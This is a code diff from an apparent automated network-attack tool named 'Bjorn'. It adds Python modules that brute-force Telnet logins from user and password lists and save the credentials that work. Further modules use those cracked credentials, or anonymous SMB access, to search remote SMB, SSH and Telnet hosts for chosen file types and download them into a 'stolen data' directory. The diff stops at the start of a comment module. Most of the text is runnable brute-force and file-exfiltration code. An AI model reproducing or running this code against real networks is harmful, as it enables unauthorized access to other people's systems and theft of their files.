# Get SMB credentials from the cracked passwords file
|
||||||
|
smbfile = self.shared_data.smbfile
|
||||||
|
credentials = {}
|
||||||
|
if os.path.exists(smbfile):
|
||||||
|
with open(smbfile, 'r') as f:
|
||||||
|
lines = f.readlines()[1:] # Skip the header
|
||||||
|
for line in lines:
|
||||||
|
parts = line.strip().split(',')
|
||||||
|
if parts[1] == ip:
|
||||||
|
share = parts[3]
|
||||||
|
user = parts[4]
|
||||||
|
password = parts[5]
|
||||||
|
if share not in credentials:
|
||||||
|
credentials[share] = []
|
||||||
|
credentials[share].append((user, password))
|
||||||
|
logger.info(f"Found credentials for {len(credentials)} shares on {ip}")
|
||||||
|
|
||||||
|
def try_anonymous_access():
|
||||||
|
"""
|
||||||
|
Try to access SMB shares without credentials.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
conn = self.connect_smb(ip, '', '')
|
||||||
|
shares = self.list_shares(conn)
|
||||||
|
return conn, shares
|
||||||
|
except Exception as e:
|
||||||
|
logger.info(f"Anonymous access to {ip} failed: {e}")
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
if not credentials and not try_anonymous_access():
|
||||||
|
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
def timeout():
|
||||||
|
"""
|
||||||
|
Timeout function to stop the execution if no SMB connection is established.
|
||||||
|
"""
|
||||||
|
if not self.smb_connected:
|
||||||
|
logger.error(f"No SMB connection established within 4 minutes for {ip}. Marking as failed.")
|
||||||
|
self.stop_execution = True
|
||||||
|
|
||||||
|
timer = Timer(240, timeout) # 4 minutes timeout
|
||||||
|
timer.start()
|
||||||
|
|
||||||
|
# Attempt anonymous access first
|
||||||
|
success = False
|
||||||
|
conn, shares = try_anonymous_access()
|
||||||
|
if conn and shares:
|
||||||
|
for share in shares:
|
||||||
|
if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
|
||||||
|
continue
|
||||||
|
remote_files = self.find_files(conn, share.name, '/')
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share.name}")
|
||||||
|
if remote_files:
|
||||||
|
for remote_file in remote_files:
|
||||||
|
if self.stop_execution:
|
||||||
|
break
|
||||||
|
self.steal_file(conn, share.name, remote_file, local_dir)
|
||||||
|
success = True
|
||||||
|
countfiles = len(remote_files)
|
||||||
|
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
|
||||||
|
conn.close()
|
||||||
|
if success:
|
||||||
|
timer.cancel() # Cancel the timer if the operation is successful
|
||||||
|
|
||||||
|
# Track which shares have already been accessed anonymously
|
||||||
|
attempted_shares = {share.name for share in shares} if success else set()
|
||||||
|
|
||||||
|
# Attempt to steal files using each credential for shares not accessed anonymously
|
||||||
|
for share, creds in credentials.items():
|
||||||
|
if share in attempted_shares or share in IGNORED_SHARES:
|
||||||
|
continue
|
||||||
|
for username, password in creds:
|
||||||
|
if self.stop_execution:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
logger.info(f"Trying credential {username}:{password} for share {share} on {ip}")
|
||||||
|
conn = self.connect_smb(ip, username, password)
|
||||||
|
if conn:
|
||||||
|
remote_files = self.find_files(conn, share, '/')
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share}")
|
||||||
|
if remote_files:
|
||||||
|
for remote_file in remote_files:
|
||||||
|
if self.stop_execution:
|
||||||
|
break
|
||||||
|
self.steal_file(conn, share, remote_file, local_dir)
|
||||||
|
success = True
|
||||||
|
countfiles = len(remote_files)
|
||||||
|
logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} on share '{share}' with user '{username}'")
|
||||||
|
conn.close()
|
||||||
|
if success:
|
||||||
|
timer.cancel() # Cancel the timer if the operation is successful
|
||||||
|
break # Exit the loop as we have found valid credentials
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing files from {ip} on share '{share}' with user '{username}': {e}")
|
||||||
|
|
||||||
|
# Ensure the action is marked as failed if no files were found
|
||||||
|
if not success:
|
||||||
|
logger.error(f"Failed to steal any files from {ip}:{port}")
|
||||||
|
return 'failed'
|
||||||
|
else:
|
||||||
|
return 'success'
|
||||||
|
else:
|
||||||
|
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
|
||||||
|
return 'failed'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
shared_data = SharedData()
|
||||||
|
steal_files_smb = StealFilesSMB(shared_data)
|
||||||
|
# Add test or demonstration calls here
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error in main execution: {e}")
|
||||||
173
actions/steal_files_ssh.py
Normal file
@@ -0,0 +1,173 @@
|
|||||||
|
"""
|
||||||
|
steal_files_ssh.py - This script connects to remote SSH servers using provided credentials, searches for specific files, and downloads them to a local directory.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import paramiko
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from rich.console import Console
|
||||||
|
from threading import Timer
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="steal_files_ssh.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "StealFilesSSH"
|
||||||
|
b_module = "steal_files_ssh"
|
||||||
|
b_status = "steal_files_ssh"
|
||||||
|
b_parent = "SSHBruteforce"
|
||||||
|
b_port = 22
|
||||||
|
|
||||||
|
class StealFilesSSH:
|
||||||
|
"""
|
||||||
|
Class to handle the process of stealing files from SSH servers.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
try:
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.sftp_connected = False
|
||||||
|
self.stop_execution = False
|
||||||
|
logger.info("StealFilesSSH initialized")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during initialization: {e}")
|
||||||
|
|
||||||
|
def connect_ssh(self, ip, username, password):
|
||||||
|
"""
|
||||||
|
Establish an SSH connection.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
ssh = paramiko.SSHClient()
|
||||||
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
ssh.connect(ip, username=username, password=password)
|
||||||
|
logger.info(f"Connected to {ip} via SSH with username {username}")
|
||||||
|
return ssh
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error connecting to SSH on {ip} with username {username}: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
def find_files(self, ssh, dir_path):
|
||||||
|
"""
|
||||||
|
Find files in the remote directory based on the configuration criteria.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
stdin, stdout, stderr = ssh.exec_command(f'find {dir_path} -type f')
|
||||||
|
files = stdout.read().decode().splitlines()
|
||||||
|
matching_files = []
|
||||||
|
for file in files:
|
||||||
|
if self.shared_data.orchestrator_should_exit :
|
||||||
|
logger.info("File search interrupted.")
|
||||||
|
return []
|
||||||
|
if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
||||||
|
any(file_name in file for file_name in self.shared_data.steal_file_names):
|
||||||
|
matching_files.append(file)
|
||||||
|
logger.info(f"Found {len(matching_files)} matching files in {dir_path}")
|
||||||
|
return matching_files
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error finding files in directory {dir_path}: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
def steal_file(self, ssh, remote_file, local_dir):
|
||||||
|
"""
|
||||||
|
Download a file from the remote server to the local directory.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
sftp = ssh.open_sftp()
|
||||||
|
self.sftp_connected = True # Mark SFTP as connected
|
||||||
|
remote_dir = os.path.dirname(remote_file)
|
||||||
|
local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
|
||||||
|
os.makedirs(local_file_dir, exist_ok=True)
|
||||||
|
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
|
||||||
|
sftp.get(remote_file, local_file_path)
|
||||||
|
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
||||||
|
sftp.close()
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing file {remote_file}: {e}")
|
||||||
|
raise
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Steal files from the remote server using SSH.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
||||||
|
self.shared_data.bjornorch_status = "StealFilesSSH"
|
||||||
|
# Wait a bit because it's too fast to see the status change
|
||||||
|
time.sleep(5)
|
||||||
|
logger.info(f"Stealing files from {ip}:{port}...")
|
||||||
|
|
||||||
|
# Get SSH credentials from the cracked passwords file
|
||||||
|
sshfile = self.shared_data.sshfile
|
||||||
|
credentials = []
|
||||||
|
if os.path.exists(sshfile):
|
||||||
|
with open(sshfile, 'r') as f:
|
||||||
|
lines = f.readlines()[1:] # Skip the header
|
||||||
|
for line in lines:
|
||||||
|
parts = line.strip().split(',')
|
||||||
|
if parts[1] == ip:
|
||||||
|
credentials.append((parts[3], parts[4]))
|
||||||
|
logger.info(f"Found {len(credentials)} credentials for {ip}")
|
||||||
|
|
||||||
|
if not credentials:
|
||||||
|
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
def timeout():
|
||||||
|
"""
|
||||||
|
Timeout function to stop the execution if no SFTP connection is established.
|
||||||
|
"""
|
||||||
|
if not self.sftp_connected:
|
||||||
|
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
|
||||||
|
self.stop_execution = True
|
||||||
|
|
||||||
|
timer = Timer(240, timeout) # 4 minutes timeout
|
||||||
|
timer.start()
|
||||||
|
|
||||||
|
# Attempt to steal files using each credential
|
||||||
|
success = False
|
||||||
|
for username, password in credentials:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File search interrupted.")
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
logger.info(f"Trying credential {username}:{password} for {ip}")
|
||||||
|
ssh = self.connect_ssh(ip, username, password)
|
||||||
|
remote_files = self.find_files(ssh, '/')
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"ssh/{mac}_{ip}")
|
||||||
|
if remote_files:
|
||||||
|
for remote_file in remote_files:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File search interrupted.")
|
||||||
|
break
|
||||||
|
self.steal_file(ssh, remote_file, local_dir)
|
||||||
|
success = True
|
||||||
|
countfiles = len(remote_files)
|
||||||
|
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
|
||||||
|
ssh.close()
|
||||||
|
if success:
|
||||||
|
timer.cancel() # Cancel the timer if the operation is successful
|
||||||
|
return 'success' # Return success if the operation is successful
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing files from {ip} with username {username}: {e}")
|
||||||
|
|
||||||
|
# Ensure the action is marked as failed if no files were found
|
||||||
|
if not success:
|
||||||
|
logger.error(f"Failed to steal any files from {ip}:{port}")
|
||||||
|
return 'failed'
|
||||||
|
else:
|
||||||
|
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
|
||||||
|
return 'failed'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
shared_data = SharedData()
|
||||||
|
steal_files_ssh = StealFilesSSH(shared_data)
|
||||||
|
# Add test or demonstration calls here
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error in main execution: {e}")
|
||||||
180
actions/steal_files_telnet.py
Normal file
@@ -0,0 +1,180 @@
|
|||||||
|
"""
|
||||||
|
steal_files_telnet.py - This script connects to remote Telnet servers using provided credentials, searches for specific files, and downloads them to a local directory.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import telnetlib
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from rich.console import Console
|
||||||
|
from threading import Timer
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="steal_files_telnet.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "StealFilesTelnet"
|
||||||
|
b_module = "steal_files_telnet"
|
||||||
|
b_status = "steal_files_telnet"
|
||||||
|
b_parent = "TelnetBruteforce"
|
||||||
|
b_port = 23
|
||||||
|
|
||||||
|
class StealFilesTelnet:
|
||||||
|
"""
|
||||||
|
Class to handle the process of stealing files from Telnet servers.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
try:
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.telnet_connected = False
|
||||||
|
self.stop_execution = False
|
||||||
|
logger.info("StealFilesTelnet initialized")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during initialization: {e}")
|
||||||
|
|
||||||
|
def connect_telnet(self, ip, username, password):
|
||||||
|
"""
|
||||||
|
Establish a Telnet connection.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
tn = telnetlib.Telnet(ip)
|
||||||
|
tn.read_until(b"login: ")
|
||||||
|
tn.write(username.encode('ascii') + b"\n")
|
||||||
|
if password:
|
||||||
|
tn.read_until(b"Password: ")
|
||||||
|
tn.write(password.encode('ascii') + b"\n")
|
||||||
|
tn.read_until(b"$", timeout=10)
|
||||||
|
logger.info(f"Connected to {ip} via Telnet with username {username}")
|
||||||
|
return tn
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Telnet connection error for {ip} with user '{username}' & password '{password}': {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def find_files(self, tn, dir_path):
|
||||||
|
"""
|
||||||
|
Find files in the remote directory based on the config criteria.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File search interrupted due to orchestrator exit.")
|
||||||
|
return []
|
||||||
|
tn.write(f'find {dir_path} -type f\n'.encode('ascii'))
|
||||||
|
files = tn.read_until(b"$", timeout=10).decode('ascii').splitlines()
|
||||||
|
matching_files = []
|
||||||
|
for file in files:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File search interrupted due to orchestrator exit.")
|
||||||
|
return []
|
||||||
|
if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
||||||
|
any(file_name in file for file_name in self.shared_data.steal_file_names):
|
||||||
|
matching_files.append(file.strip())
|
||||||
|
logger.info(f"Found {len(matching_files)} matching files in {dir_path}")
|
||||||
|
return matching_files
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error finding files on Telnet: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def steal_file(self, tn, remote_file, local_dir):
|
||||||
|
"""
|
||||||
|
Download a file from the remote server to the local directory.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File stealing process interrupted due to orchestrator exit.")
|
||||||
|
return
|
||||||
|
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
|
||||||
|
local_file_dir = os.path.dirname(local_file_path)
|
||||||
|
os.makedirs(local_file_dir, exist_ok=True)
|
||||||
|
with open(local_file_path, 'wb') as f:
|
||||||
|
tn.write(f'cat {remote_file}\n'.encode('ascii'))
|
||||||
|
f.write(tn.read_until(b"$", timeout=10))
|
||||||
|
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error downloading file {remote_file} from Telnet: {e}")
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Steal files from the remote server using Telnet.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
||||||
|
self.shared_data.bjornorch_status = "StealFilesTelnet"
|
||||||
|
logger.info(f"Stealing files from {ip}:{port}...")
|
||||||
|
# Wait a bit because it's too fast to see the status change
|
||||||
|
time.sleep(5)
|
||||||
|
# Get Telnet credentials from the cracked passwords file
|
||||||
|
telnetfile = self.shared_data.telnetfile
|
||||||
|
credentials = []
|
||||||
|
if os.path.exists(telnetfile):
|
||||||
|
with open(telnetfile, 'r') as f:
|
||||||
|
lines = f.readlines()[1:] # Skip the header
|
||||||
|
for line in lines:
|
||||||
|
parts = line.strip().split(',')
|
||||||
|
if parts[1] == ip:
|
||||||
|
credentials.append((parts[3], parts[4]))
|
||||||
|
logger.info(f"Found {len(credentials)} credentials for {ip}")
|
||||||
|
|
||||||
|
if not credentials:
|
||||||
|
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
def timeout():
|
||||||
|
"""
|
||||||
|
Timeout function to stop the execution if no Telnet connection is established.
|
||||||
|
"""
|
||||||
|
if not self.telnet_connected:
|
||||||
|
logger.error(f"No Telnet connection established within 4 minutes for {ip}. Marking as failed.")
|
||||||
|
self.stop_execution = True
|
||||||
|
|
||||||
|
timer = Timer(240, timeout) # 4 minutes timeout
|
||||||
|
timer.start()
|
||||||
|
|
||||||
|
# Attempt to steal files using each credential
|
||||||
|
success = False
|
||||||
|
for username, password in credentials:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Steal files execution interrupted due to orchestrator exit.")
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
logger.info(f"Trying credential {username}:{password} for {ip}")
|
||||||
|
tn = self.connect_telnet(ip, username, password)
|
||||||
|
if tn:
|
||||||
|
remote_files = self.find_files(tn, '/')
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"telnet/{mac}_{ip}")
|
||||||
|
if remote_files:
|
||||||
|
for remote_file in remote_files:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File stealing process interrupted due to orchestrator exit.")
|
||||||
|
break
|
||||||
|
self.steal_file(tn, remote_file, local_dir)
|
||||||
|
success = True
|
||||||
|
countfiles = len(remote_files)
|
||||||
|
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
|
||||||
|
tn.close()
|
||||||
|
if success:
|
||||||
|
timer.cancel() # Cancel the timer if the operation is successful
|
||||||
|
return 'success' # Return success if the operation is successful
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing files from {ip} with user '{username}': {e}")
|
||||||
|
|
||||||
|
# Ensure the action is marked as failed if no files were found
|
||||||
|
if not success:
|
||||||
|
logger.error(f"Failed to steal any files from {ip}:{port}")
|
||||||
|
return 'failed'
|
||||||
|
else:
|
||||||
|
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
|
||||||
|
return 'failed'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
shared_data = SharedData()
|
||||||
|
steal_files_telnet = StealFilesTelnet(shared_data)
|
||||||
|
# Add test or demonstration calls here
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error in main execution: {e}")
|
||||||
206
actions/telnet_connector.py
Normal file
@@ -0,0 +1,206 @@
|
|||||||
|
"""
|
||||||
|
telnet_connector.py - This script performs a brute-force attack on Telnet servers using a list of credentials,
|
||||||
|
and logs the successful login attempts.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import telnetlib
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from queue import Queue
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="telnet_connector.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "TelnetBruteforce"
|
||||||
|
b_module = "telnet_connector"
|
||||||
|
b_status = "brute_force_telnet"
|
||||||
|
b_port = 23
|
||||||
|
b_parent = None
|
||||||
|
|
||||||
|
class TelnetBruteforce:
|
||||||
|
"""
|
||||||
|
Class to handle the brute-force attack process for Telnet servers.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.telnet_connector = TelnetConnector(shared_data)
|
||||||
|
logger.info("TelnetConnector initialized.")
|
||||||
|
|
||||||
|
def bruteforce_telnet(self, ip, port):
|
||||||
|
"""
|
||||||
|
Perform brute-force attack on a Telnet server.
|
||||||
|
"""
|
||||||
|
return self.telnet_connector.run_bruteforce(ip, port)
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Execute the brute-force attack.
|
||||||
|
"""
|
||||||
|
self.shared_data.bjornorch_status = "TelnetBruteforce"
|
||||||
|
success, results = self.bruteforce_telnet(ip, port)
|
||||||
|
return 'success' if success else 'failed'
|
||||||
|
|
||||||
|
class TelnetConnector:
|
||||||
|
"""
|
||||||
|
Class to handle Telnet connections and credential testing.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.scan = pd.read_csv(shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("23", na=False)]
|
||||||
|
|
||||||
|
self.users = open(shared_data.usersfile, "r").read().splitlines()
|
||||||
|
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
|
||||||
|
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.telnetfile = shared_data.telnetfile
|
||||||
|
# If the file does not exist, it will be created
|
||||||
|
if not os.path.exists(self.telnetfile):
|
||||||
|
logger.info(f"File {self.telnetfile} does not exist. Creating...")
|
||||||
|
with open(self.telnetfile, "w") as f:
|
||||||
|
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
|
||||||
|
self.results = [] # List to store results temporarily
|
||||||
|
self.queue = Queue()
|
||||||
|
self.console = Console()
|
||||||
|
|
||||||
|
def load_scan_file(self):
|
||||||
|
"""
|
||||||
|
Load the netkb file and filter it for Telnet ports.
|
||||||
|
"""
|
||||||
|
self.scan = pd.read_csv(self.shared_data.netkbfile)
|
||||||
|
|
||||||
|
if "Ports" not in self.scan.columns:
|
||||||
|
self.scan["Ports"] = None
|
||||||
|
self.scan = self.scan[self.scan["Ports"].str.contains("23", na=False)]
|
||||||
|
|
||||||
|
def telnet_connect(self, adresse_ip, user, password):
|
||||||
|
"""
|
||||||
|
Establish a Telnet connection and try to log in with the provided credentials.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
tn = telnetlib.Telnet(adresse_ip)
|
||||||
|
tn.read_until(b"login: ", timeout=5)
|
||||||
|
tn.write(user.encode('ascii') + b"\n")
|
||||||
|
if password:
|
||||||
|
tn.read_until(b"Password: ", timeout=5)
|
||||||
|
tn.write(password.encode('ascii') + b"\n")
|
||||||
|
|
||||||
|
# Wait to see if the login was successful
|
||||||
|
time.sleep(2)
|
||||||
|
response = tn.expect([b"Login incorrect", b"Password: ", b"$ ", b"# "], timeout=5)
|
||||||
|
tn.close()
|
||||||
|
|
||||||
|
# Check if the login was successful
|
||||||
|
if response[0] == 2 or response[0] == 3:
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
pass
|
||||||
|
return False
|
||||||
|
|
||||||
|
def worker(self, progress, task_id, success_flag):
|
||||||
|
"""
|
||||||
|
Worker thread to process items in the queue.
|
||||||
|
"""
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||||
|
break
|
||||||
|
|
||||||
|
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||||
|
if self.telnet_connect(adresse_ip, user, password):
|
||||||
|
with self.lock:
|
||||||
|
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||||
|
logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}")
|
||||||
|
self.save_results()
|
||||||
|
self.removeduplicates()
|
||||||
|
success_flag[0] = True
|
||||||
|
self.queue.task_done()
|
||||||
|
progress.update(task_id, advance=1)
|
||||||
|
|
||||||
|
def run_bruteforce(self, adresse_ip, port):
|
||||||
|
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
|
||||||
|
|
||||||
|
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
|
||||||
|
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
|
||||||
|
|
||||||
|
total_tasks = len(self.users) * len(self.passwords)
|
||||||
|
|
||||||
|
for user in self.users:
|
||||||
|
for password in self.passwords:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||||
|
return False, []
|
||||||
|
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||||
|
|
||||||
|
success_flag = [False]
|
||||||
|
threads = []
|
||||||
|
|
||||||
|
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
|
||||||
|
task_id = progress.add_task("[cyan]Bruteforcing Telnet...", total=total_tasks)
|
||||||
|
|
||||||
|
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
|
||||||
|
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
|
||||||
|
t.start()
|
||||||
|
threads.append(t)
|
||||||
|
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||||
|
while not self.queue.empty():
|
||||||
|
self.queue.get()
|
||||||
|
self.queue.task_done()
|
||||||
|
break
|
||||||
|
|
||||||
|
self.queue.join()
|
||||||
|
|
||||||
|
for t in threads:
|
||||||
|
t.join()
|
||||||
|
|
||||||
|
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
"""
|
||||||
|
Save the results of successful login attempts to a CSV file.
|
||||||
|
"""
|
||||||
|
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
|
||||||
|
df.to_csv(self.telnetfile, index=False, mode='a', header=not os.path.exists(self.telnetfile))
|
||||||
|
self.results = [] # Reset temporary results after saving
|
||||||
|
|
||||||
|
def removeduplicates(self):
|
||||||
|
"""
|
||||||
|
Remove duplicate entries from the results file.
|
||||||
|
"""
|
||||||
|
df = pd.read_csv(self.telnetfile)
|
||||||
|
df.drop_duplicates(inplace=True)
|
||||||
|
df.to_csv(self.telnetfile, index=False)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
telnet_bruteforce = TelnetBruteforce(shared_data)
|
||||||
|
logger.info("Starting Telnet brute-force attack on port 23...")
|
||||||
|
|
||||||
|
# Load the netkb file and get the IPs to scan
|
||||||
|
ips_to_scan = shared_data.read_data()
|
||||||
|
|
||||||
|
# Execute the brute-force attack on each IP
|
||||||
|
for row in ips_to_scan:
|
||||||
|
ip = row["IPs"]
|
||||||
|
logger.info(f"Executing TelnetBruteforce on {ip}...")
|
||||||
|
telnet_bruteforce.execute(ip, b_port, row, b_status)
|
||||||
|
|
||||||
|
logger.info(f"Total number of successes: {len(telnet_bruteforce.telnet_connector.results)}")
|
||||||
|
exit(len(telnet_bruteforce.telnet_connector.results))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error: {e}")
|
||||||
71
comment.py
Normal file
@@ -0,0 +1,71 @@
|
|||||||
|
# comment.py
|
||||||
|
# This module defines the `Commentaireia` class, which provides context-based random comments.
|
||||||
|
# The comments are based on various themes such as "IDLE", "SCANNER", and others, to simulate
|
||||||
|
# different states or actions within a network scanning and security context. The class uses a
|
||||||
|
# shared data object to determine delays between comments and switches themes based on the current
|
||||||
|
# state. The `get_commentaire` method returns a random comment from the specified theme, ensuring
|
||||||
|
# comments are not repeated too frequently.
|
||||||
|
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
import logging
|
||||||
|
import json
|
||||||
|
from init_shared import shared_data
|
||||||
|
from logger import Logger
|
||||||
|
import os
|
||||||
|
|
||||||
|
logger = Logger(name="comment.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
class Commentaireia:
|
||||||
|
"""Provides context-based random comments for bjorn."""
|
||||||
|
def __init__(self):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.last_comment_time = 0 # Initialize last_comment_time
|
||||||
|
